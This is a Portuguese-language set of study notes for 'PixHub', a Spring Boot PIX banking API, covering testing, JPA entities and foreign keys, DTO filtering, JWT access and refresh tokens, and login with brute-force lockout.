Tipos de testes no mercado
O que fizemos (rodar curl na mao) e um teste manual. Funciona para verificar rapidamente, mas no mercado existem varios niveis de teste, cada um com um proposito diferente:
1. Teste Unitario — testa uma unica classe ou metodo isolado.
Exemplo: testar se DocumentValidator.isValidCpf("52998224725") retorna
true. Nao sobe banco, nao sobe Spring. Roda em milissegundos.
Ferramenta: JUnit 5 + Mockito.
2. Teste de Integracao — testa componentes juntos (Service + Repository
+ banco de dados real). Exemplo: chamar accountService.createAccount() e
verificar se a conta foi salva no PostgreSQL. Sobe o Spring e um banco real via
Testcontainers (container Docker temporario so para o teste).
3. Teste End-to-End (E2E) — testa a API inteira de fora, como um cliente faria. E exatamente o que fizemos com curl, mas automatizado. Ferramenta: Spring MockMvc ou RestAssured. Envia um POST real, verifica status 201, verifica campos do JSON.
4. Teste de Contrato — garante que a API nao quebrou o "contrato" com quem consome. Se um campo mudou de nome ou sumiu, o teste falha. Usado quando varios times dependem da mesma API.
A rotina de testes no dia a dia
No mercado, testes nao sao opcionais — sao obrigatorios. A rotina tipica de um dev:
- Escreve o codigo — implementa a feature ou corrige o bug
- Escreve os testes — unitarios para a logica, integracao para o fluxo
- Roda
mvn test— todos os testes do projeto executam - Faz o commit — so comita se todos os testes passarem
- Abre o Pull Request — o CI (GitHub Actions, Jenkins) roda todos os testes automaticamente. Se algum falhar, o PR nao pode ser mergeado.
Isso se chama CI/CD (Continuous Integration / Continuous Delivery): cada push no repositorio dispara uma pipeline que compila, testa e (se tudo passar) faz deploy automatico. Se o teste falha, ninguem consegue mergear — o codigo quebrado nao chega em producao.
Por que testes importam tanto?
Em fintech (nosso caso), um bug pode significar dinheiro perdido.
Imagine se o AccountService.createAccount() parasse de validar CPF —
contas falsas seriam criadas e receberiam PIX. Testes automatizados pegam esse tipo
de regressao antes de chegar em producao.
A regra do mercado: quanto mais critico o sistema, mais testes ele tem. APIs bancarias tipicamente exigem cobertura de 80%+ (80% das linhas de codigo sao exercitadas por algum teste). No nosso projeto, vamos implementar testes automatizados nas proximas fases usando JUnit 5 + Testcontainers.
Teste manual (curl) e como checar se a porta tranca girando a chave uma vez. Teste automatizado e como instalar uma camera de seguranca que verifica a porta 24h por dia. A camera nao impede o arrombamento, mas garante que voce descobre na hora se alguem mexeu na fechadura. No mercado, ninguem entrega software sem camera — so com a chave na mao nao basta.
Entity User e Separacao de Responsabilidades
Aprendido em 20/03/2026 — Fase 03 (Seguranca)O que fizemos?
Criamos a fundacao de autenticacao do sistema: a entidade User,
seus enums (UserRole, UserStatus), o repositorio e a migration SQL.
Antes disso, o PixHub tinha contas bancarias (Account) mas nao tinha
quem faz login. E como ter um banco com cofres, mas sem recepcao onde
as pessoas se identificam.
Por que separar User de Account?
No PIX real, a "conta" e do banco (dados bancarios, saldo) e o "usuario" e quem acessa o sistema (credenciais, sessao). Sao coisas diferentes:
User (autenticacao) Account (dados bancarios) ───────────────── ──────────────────────── email holderName password (BCrypt) holderDocument (CPF/CNPJ) fullName bankCode, branch role (USER/ADMIN) accountNumber failedLoginAttempts balance lockedUntil status (ACTIVE/BLOCKED) Um usuario pode ter varias contas (corrente + poupanca). Um admin pode existir sem conta bancaria.
Os 5 arquivos criados
public enum UserRole {
USER, // cliente comum — gerencia suas contas e chaves PIX
ADMIN // acesso administrativo — bloquear contas, ver audit logs
}
// O JWT carrega a role como claim, e o Spring Security
// usa hasRole() para restringir acesso a endpoints.
public enum UserStatus {
ACTIVE, // pode fazer login normalmente
LOCKED // bloqueado apos muitas tentativas falhas de login
}
// LOCKED e temporario: o campo lockedUntil define quando desbloqueia.
// Diferente de AccountStatus.BLOCKED (bloqueio de conta bancaria).
Campos importantes da Entity User
// Senha NUNCA e salva em texto puro. BCrypt e um hash irreversivel: // "minhasenha123" → "$2a$10$xKz8G..." // Cada hash e diferente mesmo para senhas iguais (salt automatico) @Column(name = "password", nullable = false, length = 72) private String password; // Contador de erros — persiste no banco (nao em cache) // Se o servidor reiniciar, o atacante NAO ganha novas tentativas @Column(name = "failed_login_attempts", nullable = false) @Builder.Default private Integer failedLoginAttempts = 0; // null = nao bloqueado. Data futura = bloqueado ate aquela hora // O Service verifica: if (now > lockedUntil) → desbloqueia @Column(name = "locked_until") private LocalDateTime lockedUntil; // FK opcional — admin pode nao ter conta bancaria @Column(name = "account_id") private UUID accountId;
// Usado no login: "esse email existe? me traz o usuario" Optional<User> findByEmail(String email); // Usado no registro: "ja tem alguem com esse email?" // Retorna 409 Conflict em vez de deixar o banco explodir boolean existsByEmail(String email); // Painel admin: listar todos os usuarios bloqueados List<User> findByStatus(UserStatus status);
User e o cracha de identificacao que voce usa para entrar no predio (email + senha). Account e a sala onde voce trabalha la dentro (conta bancaria, saldo). Voce pode ter um cracha sem ter sala (admin), e pode ter acesso a varias salas com o mesmo cracha (varias contas).
Foreign Key (FK) — Chave Estrangeira
Aprendido em 20/03/2026 — Fase 03 (Seguranca)O que e uma FK?
Imagina dois cadernos: o Caderno de Alunos (cada aluno tem um ID unico: 001, 002, 003) e o Caderno de Notas (cada nota precisa dizer de qual aluno e). No caderno de notas voce escreve: "Nota 9.5, aluno 002". Esse "aluno 002" e uma FK — e um numero que aponta para outro caderno. Voce nao reescreve o nome, endereco e CPF do aluno de novo — so referencia o ID dele.
Se alguem tentar escrever "Nota 7.0, aluno 999" e o aluno 999 nao existir, o banco de dados recusa. Isso e a integridade referencial — a FK garante que voce nunca aponte para algo que nao existe.
Como aparece no nosso projeto
┌──────────────────────┐ ┌──────────────────────┐
│ accounts │ │ users │
├──────────────────────┤ ├──────────────────────┤
│ id (PK) ◄────────────────────── account_id (FK) │
│ holder_name │ │ id (PK) │
│ holder_document │ │ email │
│ balance │ │ password │
│ ... │ │ full_name │
└──────────────────────┘ │ ... │
└──────────────────────┘
PK = Primary Key (identificador unico da tabela)
FK = Foreign Key (aponta para PK de outra tabela)
No SQL — a migration V8
-- Dentro do CREATE TABLE users:
account_id UUID NULL,
-- La embaixo, a constraint:
CONSTRAINT fk_user_account FOREIGN KEY (account_id)
REFERENCES accounts (id) ON DELETE SET NULL
Linha por linha:
account_id UUID NULL → Cria a coluna. NULL = pode ficar vazio (admin sem conta) CONSTRAINT fk_user_account → Da um nome a regra (facilita debug se der erro) FOREIGN KEY (account_id) → "a coluna account_id desta tabela..." REFERENCES accounts (id) → "...aponta para a coluna id da tabela accounts" ON DELETE SET NULL → "se a conta for deletada, nao delete o usuario — so limpe o campo para NULL"
Opcoes de ON DELETE
ON DELETE CASCADE — deleta a conta → deleta o usuario junto (perigoso!) ON DELETE RESTRICT — impede deletar a conta se tiver usuario vinculado ON DELETE SET NULL — deleta a conta → account_id vira NULL (escolhemos este) SET NULL e a escolha certa aqui porque: se a conta for encerrada, o usuario ainda pode existir no sistema (ver historico, vincular outra conta).
No Java — a entidade User
// O que fizemos (FK "manual" — so o ID): @Column(name = "account_id") private UUID accountId; // Para buscar a conta: accountRepository.findById(user.getAccountId()) // O que NAO fizemos (@ManyToOne — carrega objeto inteiro): // @ManyToOne // @JoinColumn(name = "account_id") // private Account account; ← carrega o objeto Account inteiro
Optamos por guardar so o UUID em vez do objeto completo por 3 razoes:
1. Evita acoplamento circular — User depende de Account,
que poderia depender de User, criando um ciclo.
2. Performance — com @ManyToOne, toda vez que busca
um User o JPA pode carregar a Account junto (query extra desnecessaria).
3. Separacao de dominios — autenticacao e dados bancarios
sao responsabilidades diferentes.
FK e como o numero de telefone de um contato. Voce nao cola a pessoa inteira na sua agenda — so anota o numero (referencia). Se precisar falar com ela, usa o numero para encontra-la. Se a pessoa mudar de numero e voce nao atualizar, a ligacao nao completa — isso e a integridade referencial impedindo "referencias quebradas".
Fluxo de Dados: Frontend → Java → Banco
Aprendido em 20/03/2026 — Fase 03 (Seguranca)O caminho completo de um dado
Quando alguem cria uma conta no sistema, o dado viaja por 3 camadas. O ponto mais importante: o Frontend NUNCA fala direto com o banco. O Java e o intermediario obrigatorio.
Frontend (React) Backend (Java/Spring) Banco (PostgreSQL)
│ │ │
│ POST /api/v1/accounts │ │
│ { "holderName": "Riel", │ │
│ "holderDocument":"..." }│ │
│ ─────── JSON ───────────► │ │
│ │ 1. Controller recebe │
│ │ 2. Service valida │
│ │ 3. Repository salva ─────►│
│ │ INSERT INTO accounts...
│ │ │
│ │ 4. Banco confirma ◄───────│
│ │ 5. Service monta resposta │
│ ◄─────── JSON ─────────── │ 6. Controller retorna │
│ { "id": "uuid-...", │ │
│ "holderName": "Riel", │ │
│ "balance": 0.00 } │ │
Por que o Java fica no meio?
Se o frontend falasse direto com o banco, qualquer pessoa poderia abrir o navegador, ver a URL do banco e executar comandos destrutivos. O Java no meio serve para 3 coisas:
1. Seguranca — o frontend so conhece a URL da API
(/api/v1/accounts), nunca as credenciais do banco.
2. Validacao — o Java verifica se o CPF e valido, se a conta
ja existe, se o saldo e suficiente... antes de tocar no banco.
3. Controle — o Java decide o que o frontend pode ver
(nunca expoe a senha, por exemplo).
❌ ERRADO: Frontend ──────────────► Banco (PostgreSQL)
Qualquer um pode fazer DELETE FROM accounts!
✅ CERTO: Frontend ──► Java ──► Banco
Java valida, filtra e protege o acesso.
As 3 linguagens envolvidas
┌─────────────┬─────────────────────────────────────────────┐ │ Linguagem │ Papel no projeto │ ├─────────────┼─────────────────────────────────────────────┤ │ Java 17 │ Logica da aplicacao: entidades, validacao, │ │ │ regras de negocio, controle de acesso │ ├─────────────┼─────────────────────────────────────────────┤ │ SQL │ Estrutura do banco: CREATE TABLE, FKs, │ │ (PostgreSQL)│ constraints, indices, migrations │ ├─────────────┼─────────────────────────────────────────────┤ │ Anotacoes │ "Metadados" que conectam Java ↔ SQL │ │ (@Entity, │ O Spring/JPA le as anotacoes e gera o SQL │ │ @Column) │ automaticamente │ └─────────────┴─────────────────────────────────────────────┘
Voce escreve Java → Flyway le o SQL → PostgreSQL cria a tabela
(User.java) (V8__create_...) (users no banco)
↑
O JPA le as anotacoes (@Column, @Entity) e │
sabe que User.java ←→ tabela users ──────────────────────┘
Pensa num restaurante: o cliente (Frontend) faz o pedido ao garcom (Java). O garcom leva o pedido para a cozinha (Banco). O cliente nunca entra na cozinha — nao sabe onde ficam as facas, o fogo, os ingredientes. O garcom verifica se o pedido faz sentido ("senhor, nao temos sushi de picanha"), leva para a cozinha, e traz de volta so o prato pronto — nao traz a panela suja junto.
DTOs como Filtro de Seguranca
Aprendido em 20/03/2026 — Fase 03 (Seguranca)O que o banco sabe vs o que o frontend ve
O banco guarda tudo sobre uma entidade (incluindo dados sensiveis como senha e tentativas de login). Mas o frontend so deve ver o que e seguro e relevante. O DTO (Data Transfer Object) e o filtro entre os dois mundos.
O que esta no banco (Entity): O que o frontend recebe (DTO): ┌──────────────────────────┐ ┌──────────────────────────┐ │ id │ ✅ │ id │ │ holderName │ ✅ │ holderName │ │ holderDocument (CPF) │ ✅ │ holderDocument │ │ balance │ ✅ │ balance │ │ status │ ✅ │ status │ │ password │ ❌ │ (NAO VAI!) │ │ failedLoginAttempts │ ❌ │ (NAO VAI!) │ │ lockedUntil │ ❌ │ (NAO VAI!) │ └──────────────────────────┘ └──────────────────────────┘
Como o Mapper faz a filtragem
O Mapper e a classe que converte Entity ↔ DTO. Ele decide
exatamente quais campos entram e quais ficam de fora:
// Entity → Response (o que SAI para o frontend)
public static AccountResponse toResponse(Account account) {
return AccountResponse.builder()
.id(account.getId()) // ✅ pode ver
.holderName(account.getHolderName()) // ✅ pode ver
.balance(account.getBalance()) // ✅ pode ver
.build();
// password? NAO. failedLoginAttempts? NAO.
// O mapper simplesmente nao inclui.
}
// Request → Entity (o que ENTRA vindo do frontend)
public static Account toEntity(CreateAccountRequest request) {
return Account.builder()
.holderName(request.getHolderName())
.holderDocument(request.getHolderDocument())
.build();
// O frontend NAO define id, balance, status, createdAt.
// Esses campos sao controlados pelo backend.
}
DTOs tambem filtram a ENTRADA
Nao e so a saida que e filtrada. O DTO de Request controla o que o frontend pode enviar:
CreateAccountRequest (o que o frontend PODE enviar): ✅ holderName, holderDocument, bankCode, branch, accountNumber, accountType Campos que o backend define sozinho (frontend NAO controla): 🔒 id → gerado pelo banco (UUID automatico) 🔒 balance → comeca em 0.00 (ninguem cria conta com saldo) 🔒 status → comeca ACTIVE (backend decide) 🔒 createdAt → timestamp do momento da criacao 🔒 updatedAt → gerenciado pelo @PrePersist/@PreUpdate
Se o frontend tentasse enviar "balance": 999999.99 no JSON,
o campo seria ignorado — porque o CreateAccountRequest
nem tem campo balance. O Mapper so copia os campos que existem no DTO.
┌─────────────────┐ JSON ┌──────────────────────────────────────┐ ┌────────────┐
│ │ Request │ Java (Spring) │ SQL │ │
│ Frontend │────────►│ Controller → Service → Repository │──────►│ PostgreSQL │
│ (React) │ │ ↑ │ │ │
│ │ Response │ DTO Request │ │ │
│ │◄────────│ (filtra entrada) │◄──────│ │
└─────────────────┘ JSON │ ↓ │ └────────────┘
│ DTO Response Entity │
│ (filtra saida) (objeto completo) │
└──────────────────────────────────────┘
O DTO e como o cardapio do restaurante. O cliente (frontend) ve so o que pode pedir (DTO Request) e recebe so o prato pronto (DTO Response). Ele nao ve a receita secreta, nao sabe quantos ingredientes sobraram no estoque, e nao pode pedir para cozinhar com a faca do chef. O garcom (Mapper) traduz o pedido do cardapio para instrucoes da cozinha, e traduz o prato da cozinha para apresentacao no prato bonito.
Arquitetura do JWT — Mapa Completo
Aprendido em 20/03/2026 — Fase 03 (Seguranca)O problema que o JWT resolve
Antes da Fase 03, o PixHub era um restaurante sem porta. Qualquer pessoa acessava qualquer endpoint sem identificacao. Agora, o sistema exige que voce se identifique (login) e carregue um cracha digital (token JWT) em toda requisicao.
Os 15 arquivos da autenticacao e como se conectam
Frontend (React)
│
│ POST /api/v1/auth/login {"email":"...", "password":"..."}
▼
AuthController ← recebe a request, repassa para o Service
│
▼
AuthService ← CEREBRO: valida credenciais, controla brute force
│
├──► UserRepository ← busca/salva usuario no banco
│ │
│ ▼
│ User (Entity) ← modelo de dados (email, password BCrypt, role...)
│ │
│ ▼
│ V8__create_user ← migration SQL que cria a tabela
│
├──► JwtService ← FABRICA: gera e valida tokens JWT
│ │
│ ▼
│ JwtProperties ← le configs do application.yml (secret, expiracoes)
│
├──► PasswordEncoder ← BCrypt: criptografa e compara senhas
│ (definido no SecurityConfig)
│
├──► AuditService ← registra acoes no log de auditoria
│
└──► Exceptions ← AuthenticationFailedException (401)
(capturadas pelo AccountLockedException (423)
GlobalExceptionHandler)
DTOs de entrada: RegisterRequest, LoginRequest, RefreshTokenRequest
DTO de saida: AuthResponse (accessToken + refreshToken)
Enums: UserRole (USER/ADMIN), UserStatus (ACTIVE/LOCKED)
Os dois tipos de token
┌─────────────────────┬─────────────────────┐ │ Access Token │ Refresh Token │ ├─────────────────────┼─────────────────────┤ │ Duracao: 15 minutos │ Duracao: 7 dias │ │ Uso: acessar APIs │ Uso: renovar access │ │ Contem: email, role │ Contem: email │ │ Enviado em TODA │ Enviado so para │ │ requisicao │ POST /auth/refresh │ │ Se vazar: 15 min │ Se vazar: rotacao │ │ de dano maximo │ invalida o antigo │ └─────────────────────┴─────────────────────┘ Fluxo de vida dos tokens: 1. Login → recebe access (15min) + refresh (7dias) 2. Usa access por 15 min em toda request 3. Access expira → frontend recebe 401 4. Frontend envia refresh → recebe NOVOS tokens 5. Ciclo repete ate refresh expirar (7 dias) 6. Refresh expirou → login novamente
Impacto no projeto
ANTES: DEPOIS: ❌ Qualquer um acessa tudo ✅ So quem tem login acessa ❌ Sem saber quem fez o que ✅ Cada acao tem dono (userId no JWT) ❌ Senhas? Nem existiam ✅ Senhas com BCrypt (irreversivel) ❌ Nenhuma protecao contra ataque ✅ Bloqueio apos 5 tentativas ❌ Uma sessao = para sempre ✅ Tokens expiram (15 min / 7 dias) ❌ Todos sao iguais ✅ Roles: USER vs ADMIN ❌ Parece projeto de estudante ✅ Padrao de mercado financeiro
O JWT transformou o restaurante sem porta num predio comercial com catraca. Voce precisa se identificar na recepcao (login), receber um cracha (access token) e mostrar o cracha em cada andar (cada request). O cracha expira no fim do dia (15 min), mas voce pode renovar na recepcao mostrando seu cartao de funcionario (refresh token) sem refazer todo o cadastro (login).
JwtService — A Fabrica de Crachas
Aprendido em 20/03/2026 — Fase 03 (Seguranca)O que e um JWT por dentro?
JWT (JSON Web Token) e uma string dividida em 3 partes separadas por pontos:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWVsQGVtYWlsLmNvbSJ9.assinatura
|_____________________| |_____________________________________| |________|
HEADER PAYLOAD SIGNATURE
HEADER (algoritmo):
{"alg": "HS256"}
→ "estou usando HMAC-SHA256 para assinar"
PAYLOAD (dados do usuario — chamados "claims"):
{"sub": "riel@email.com", → quem e o dono
"userId": "uuid-123", → ID no banco
"role": "USER", → papel (para autorizacao)
"type": "access", → tipo do token
"exp": 1234567890} → quando expira
SIGNATURE (lacre de seguranca):
HMAC-SHA256(header + payload, chave_secreta)
→ se alguem alterar o payload, a assinatura nao bate mais
→ e como um lacre: se abriu, sabe que mexeram
Metodos do JwtService
// Gera cracha principal (15 min) com dados do usuario String generateAccessToken(UUID userId, String email, String role) // Gera cracha de renovacao (7 dias) — mais simples, sem role String generateRefreshToken(UUID userId, String email) // Verifica se o cracha e legitimo (assinatura + expiracao) // Retorna os dados (claims) se valido, null se invalido Claims validateToken(String token) // Atalhos uteis: String getEmailFromToken(String token) // de quem e? String getTokenType(String token) // access ou refresh?
Por que validar sem consultar o banco?
A assinatura HMAC garante que o token nao foi alterado. Se o servidor assinou com a chave secreta e a assinatura bate, os dados sao confiaveis. Isso torna a autenticacao muito rapida — nao precisa de query no banco a cada request. Em APIs com milhares de requests por segundo, essa diferenca e critica.
O JwtService e a maquina de imprimir crachas do predio. Quando voce se registra, ela imprime um cracha com seu nome, foto e um holograma (assinatura). Na catraca, o seguranca so olha o holograma — se for autentico, nem precisa ligar para a recepcao para confirmar. Isso e rapido. Se o holograma estiver errado, o cracha e falso.
AuthService — O Cerebro da Autenticacao
Aprendido em 20/03/2026 — Fase 03 (Seguranca)Os 3 fluxos principais
1. Email ja existe? → 409 Conflict 2. Criptografa senha → BCrypt: "senha123" → "$2a$10$xKz8..." 3. Salva no banco → User com role=USER, status=ACTIVE 4. Gera tokens → access (15min) + refresh (7dias) 5. Retorna tokens → usuario ja fica logado apos registro
1. Email existe? → se NAO: "Credenciais invalidas" (mensagem GENERICA)
2. Esta bloqueado? → se SIM e expirou: desbloqueia automaticamente
→ se SIM e NAO expirou: 423 "Conta bloqueada ate 21:30"
3. Senha correta? → BCrypt.matches("digitada", "$2a$10$hash...")
3a. ERROU: → incrementa contador (1/5, 2/5...)
→ se chegou em 5: BLOQUEIA por 30 minutos
→ lanca 401 "Credenciais invalidas"
3b. ACERTOU: → reseta contador para 0
→ gera tokens
→ retorna tokens
1. Token valido? → assinatura + expiracao 2. E do tipo "refresh"? → impede usar access token aqui 3. Usuario ainda ativo? → pode ter sido bloqueado desde o ultimo token 4. Gera NOVOS tokens → rotacao: novo access + novo refresh 5. Retorna novos tokens
Protecao contra brute force
Tentativa 1: "Credenciais invalidas" (failedLoginAttempts = 1)
Tentativa 2: "Credenciais invalidas" (failedLoginAttempts = 2)
Tentativa 3: "Credenciais invalidas" (failedLoginAttempts = 3)
Tentativa 4: "Credenciais invalidas" (failedLoginAttempts = 4)
Tentativa 5: 🔒 BLOQUEADO! (status = LOCKED, lockedUntil = agora + 30min)
30 minutos depois...
Tentativa 6: Sistema detecta que lockedUntil ja passou → desbloqueia
→ failedLoginAttempts reseta para 0 → pode tentar de novo
Por que no banco e nao em cache?
Se o servidor reiniciar, o cache some e o atacante ganha 5 tentativas novas.
No banco, o contador persiste entre deploys.
Seguranca: mensagens genericas
A mensagem de erro e sempre "Credenciais invalidas" — nunca "email nao encontrado" ou "senha incorreta". Se dissessemos qual campo esta errado, um atacante poderia enumerar emails validos testando um por um. Mensagem generica = nenhuma pista.
O AuthService e o gerente da recepcao. Ele toma todas as decisoes: pode entrar ou nao, precisa de cracha novo, esta bloqueado por tentativas demais. O AuthController (garcom) so repassa os pedidos — quem decide e o gerente.
Fluxo Completo de Login — Passo a Passo
Aprendido em 20/03/2026 — Fase 03 (Seguranca)O caminho completo de um login
USUARIO CONTROLLER AUTHSERVICE JWTSERVICE BANCO
│ │ │ │ │
│ POST /auth/login │ │ │ │
│ {email, password}│ │ │ │
│ ────────────────►│ │ │ │
│ │ login(request) │ │ │
│ │ ────────────────►│ │ │
│ │ │ findByEmail() │ │
│ │ │ ─────────────────┼────────────►│
│ │ │ │ User found │
│ │ │ ◄────────────────┼────────────│
│ │ │ │ │
│ │ │ bloqueado? NAO │ │
│ │ │ senha ok? SIM │ │
│ │ │ │ │
│ │ │ generateAccess() │ │
│ │ │ ────────────────►│ │
│ │ │ ◄────────────────│ "eyJ..." │
│ │ │ generateRefresh()│ │
│ │ │ ────────────────►│ │
│ │ │ ◄────────────────│ "eyJ..." │
│ │ │ │ │
│ │ AuthResponse │ │ │
│ │ ◄────────────────│ │ │
│ 200 OK │ │ │ │
│ {accessToken, │ │ │ │
│ refreshToken, │ │ │ │
│ expiresIn: 900} │ │ │ │
│ ◄────────────────│ │ │ │
E depois do login? Como usa o token?
# Agora que tem o token, TODA request precisa do header:
curl -X GET http://localhost:8080/api/v1/accounts \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9..."
│ │
│ └── o token JWT
└── tipo: sempre "Bearer"
# Sem o header → 401 Unauthorized
# Com token expirado → 401 Unauthorized → usar /auth/refresh
# Com token valido → 200 OK (request normal)
E como um dia no predio comercial: voce chega de manha, se identifica na recepcao (login), recebe o cracha (tokens). Durante o dia, mostra o cracha em cada andar (header Authorization). O cracha expira no fim do expediente (15 min), mas voce pode renovar no balcao (refresh) sem refazer o cadastro. Depois de uma semana (7 dias), precisa de um novo cadastro completo (login novamente).
Logica Universal vs Sintaxe Especifica
Aprendido em 20/03/2026 — Fase 03 (Seguranca)Os conceitos sao portateis entre linguagens
Tudo que estamos aprendendo neste projeto nao e exclusivo do Java. A logica e a mesma em qualquer linguagem — so muda a sintaxe (o "sotaque").
CONCEITO JAVA NODE.JS PYTHON ───────── ───── ──────── ────── Token JWT jjwt jsonwebtoken PyJWT Hash de senha BCrypt (Spring) bcrypt (npm) passlib Camadas Controller/Service Router/Service View/Service DTOs Classes Java Interfaces TS Pydantic Erro global ExceptionHandler Error middleware Exception handler Config application.yml .env + dotenv settings.py Migrations Flyway Prisma Migrate Alembic ORM Hibernate (JPA) Prisma / TypeORM SQLAlchemy
Exemplo: login em 3 linguagens
User user = userRepository.findByEmail(request.getEmail())
.orElseThrow(() -> new AuthenticationFailedException("Credenciais invalidas"));
if (!passwordEncoder.matches(request.getPassword(), user.getPassword())) {
handleFailedLogin(user);
throw new AuthenticationFailedException("Credenciais invalidas");
}
return generateTokenResponse(user);
const user = await userRepository.findByEmail(request.email);
if (!user) {
throw new AuthenticationFailedError("Credenciais invalidas");
}
const senhaCorreta = await bcrypt.compare(request.password, user.password);
if (!senhaCorreta) {
await handleFailedLogin(user);
throw new AuthenticationFailedError("Credenciais invalidas");
}
return generateTokenResponse(user);
user = user_repository.find_by_email(request.email)
if not user:
raise AuthenticationFailedError("Credenciais invalidas")
if not bcrypt.checkpw(request.password.encode(), user.password.encode()):
handle_failed_login(user)
raise AuthenticationFailedError("Credenciais invalidas")
return generate_token_response(user)
Repare: a logica e identica. Buscar usuario, comparar senha, tratar erro, gerar token. O que muda e a "roupagem": Java usa tipos explicitos e annotations, Node usa async/await, Python usa indentacao.
O que e especifico do Java?
ESPECIFICO DO JAVA COMO OUTRAS LINGUAGENS RESOLVEM
────────────────── ────────────────────────────────
@Service, @Bean (injecao de dep.) Node: importa direto. Python: Depends()
@Valid + @NotBlank (validacao) Node: Zod, Joi. Python: Pydantic
extends BaseEntity (heranca) Universal (OOP), mas Java depende mais disso
@Transactional (atomicidade) Node: prisma.$transaction(). Python: session.begin()
Lombok (@Getter, @Builder) Node: nem precisa (JS ja e conciso)
Python: @dataclass faz o mesmo
Aprender Java para sistemas financeiros e como aprender a cozinhar comida japonesa. Os conceitos (cortar, temperar, cozinhar) servem para QUALQUER cozinha. Se amanha voce for para a cozinha italiana, ja sabe os fundamentos — so precisa aprender os ingredientes e tecnicas especificos. O que estamos aprendendo aqui (JWT, BCrypt, camadas, DTOs, brute force) e o fundamento — funciona em qualquer "cozinha".
Retrospectiva Fase 01 — Arquitetura do Setup
Documentado em 20/03/2026 — RetrospectivaO que a Fase 01 fez?
A Fase 01 criou a fundacao do predio. Antes dela, nao existia nada — nem projeto, nem banco de dados, nem servidor. Depois dela, tinhamos um esqueleto funcionando: aplicacao Spring Boot que sobe, conecta no PostgreSQL, cria topicos no Kafka e mostra documentacao Swagger.
Pensa assim: a Fase 01 e como comprar o terreno, fazer a planta e levantar as paredes. Nenhum movel ainda (entidades, servicos), mas a estrutura esta de pe e pronta para receber tudo.
Mapa de arquivos e como se conectam
┌───────────────────────────────────────────────────────────────────┐
│ PONTO DE ENTRADA │
│ │
│ PixHubApplication.java │
│ └── @SpringBootApplication │
│ "Acorda" todo o sistema: escaneia pacotes, cria beans, │
│ sobe Tomcat, executa Flyway, registra configs │
│ │ │
│ ├──► application.yml (configs compartilhadas) │
│ ├──► application-dev.yml (configs do Docker local) │
│ ├──► application-test.yml (configs de Testcontainers) │
│ └──► application-prod.yml (configs de producao) │
└───────────┬───────────────────────────────────────────────────────┘
│ carrega automaticamente
▼
┌───────────────────────────────────────────────────────────────────┐
│ CONFIGURACOES (@Configuration) │
│ │
│ SecurityConfig.java KafkaConfig.java OpenApiConfig │
│ ├── SecurityFilterChain ├── topico pix- ├── Swagger UI │
│ │ "quem pode acessar │ transactions │ titulo, │
│ │ o que" │ │ versao, │
│ │ ├── topico pix- │ JWT button │
│ └── (CSRF off, │ notifications └──────────────│
│ stateless) └──────────────────── │
└───────────────────────────────────────────────────────────────────┘
│ estrutura de dados
▼
┌───────────────────────────────────────────────────────────────────┐
│ BANCO DE DADOS │
│ │
│ V1__create_schema.sql │
│ └── CREATE EXTENSION uuid-ossp │
│ (habilita UUID nativo no PostgreSQL) │
│ │
│ docker-compose.yml │
│ ├── PostgreSQL 16 (porta 5432) → onde os dados moram │
│ ├── Kafka KRaft (porta 9092) → mensageria assincrona │
│ └── Kafka UI (porta 8090) → interface visual do Kafka │
└───────────────────────────────────────────────────────────────────┘
│ suporte
▼
┌───────────────────────────────────────────────────────────────────┐
│ INFRAESTRUTURA │
│ │
│ pom.xml → lista de dependencias (o "package.json") │
│ Dockerfile → como empacotar a app em container │
│ .gitignore → o que NAO versionar (target/, .env) │
│ .env.example → template de variaveis de ambiente │
│ CLAUDE.md → instrucoes do projeto │
│ GlobalExceptionHandler → tratamento de erros (esqueleto inicial) │
└───────────────────────────────────────────────────────────────────┘
Impacto no projeto
SEM Fase 01: COM Fase 01: ❌ Nenhum projeto existe ✅ Projeto Maven compilando ❌ Nenhum banco de dados ✅ PostgreSQL rodando no Docker ❌ Nenhuma mensageria ✅ Kafka com topicos prontos ❌ Nenhuma documentacao de API ✅ Swagger UI acessivel ❌ Nenhuma estrutura de seguranca ✅ Spring Security configurado ❌ Nenhum controle de schema ✅ Flyway com migration baseline ❌ Nenhuma padronizacao de erros ✅ GlobalExceptionHandler basico
A Fase 01 e a construcao do predio: terreno comprado (projeto criado), fundacao feita (banco de dados), paredes levantadas (estrutura de pacotes), eletrica e hidraulica instaladas (configs de Kafka, Security, Swagger), e endereco registrado (Docker, portas expostas). Ainda nao tem moveis (entidades) nem moradores (servicos), mas a estrutura esta pronta para recebe-los.
Fase 01 — O que Cada Arquivo Faz
Documentado em 20/03/2026 — RetrospectivaGrupo 1: O Coracao da Aplicacao
@SpringBootApplication ← combina 3 coisas:
@Configuration → "esta classe tem configs"
@EnableAutoConfiguration → "configure tudo automaticamente"
@ComponentScan → "escaneie todos os pacotes buscando @Service, @Controller..."
public static void main(String[] args) {
SpringApplication.run(PixHubApplication.class, args);
// 1. Cria o container de dependencias (ApplicationContext)
// 2. Inicia o Tomcat embutido (servidor HTTP)
// 3. Executa migrations Flyway (cria tabelas)
// 4. Registra todos os beans (@Service, @Controller, @Repository)
}
Analogia: e a CHAVE DE IGNICAO do carro. Voce gira a chave (run),
o motor liga (Tomcat), o GPS atualiza (Flyway), os sistemas
de seguranca ativam (Spring Security).
O que contem: groupId/artifactId/version → identidade unica do projeto parent: spring-boot-starter-parent → herda configs padrao do Spring properties: versoes centralizadas (jjwt, testcontainers, etc) dependencies: todas as bibliotecas que o projeto usa plugins: ferramentas de build (compiler, jacoco, spring-boot-maven) Dependencias principais: spring-boot-starter-web → servidor HTTP + REST + JSON spring-boot-starter-data-jpa → ORM (Java ↔ banco de dados) spring-boot-starter-security → autenticacao e autorizacao spring-boot-starter-validation → validacao de campos (@NotBlank...) spring-boot-starter-actuator → monitoramento (/health, /metrics) spring-kafka → mensageria assincrona postgresql → driver do banco flyway-core → migrations versionadas lombok → reduz codigo repetitivo jjwt-api/impl/jackson → tokens JWT springdoc-openapi → documentacao Swagger automatica
Grupo 2: Configuracoes por Ambiente (Profiles)
application.yml → configs COMPARTILHADAS (todos os ambientes)
jpa.ddl-auto: validate
flyway.enabled: true
swagger, actuator
application-dev.yml → DESENVOLVIMENTO LOCAL (Docker Compose)
postgres: localhost:5432
kafka: localhost:9092
show-sql: true (debug)
application-test.yml → TESTES AUTOMATIZADOS (Testcontainers)
banco e kafka criados automaticamente
em containers descartaveis
application-prod.yml → PRODUCAO (variaveis de ambiente)
urls vindas de env vars (${DATABASE_URL})
show-sql: false (seguranca)
logs minimos
Spring ativa o profile certo assim:
dev: padrao (spring.profiles.active=dev)
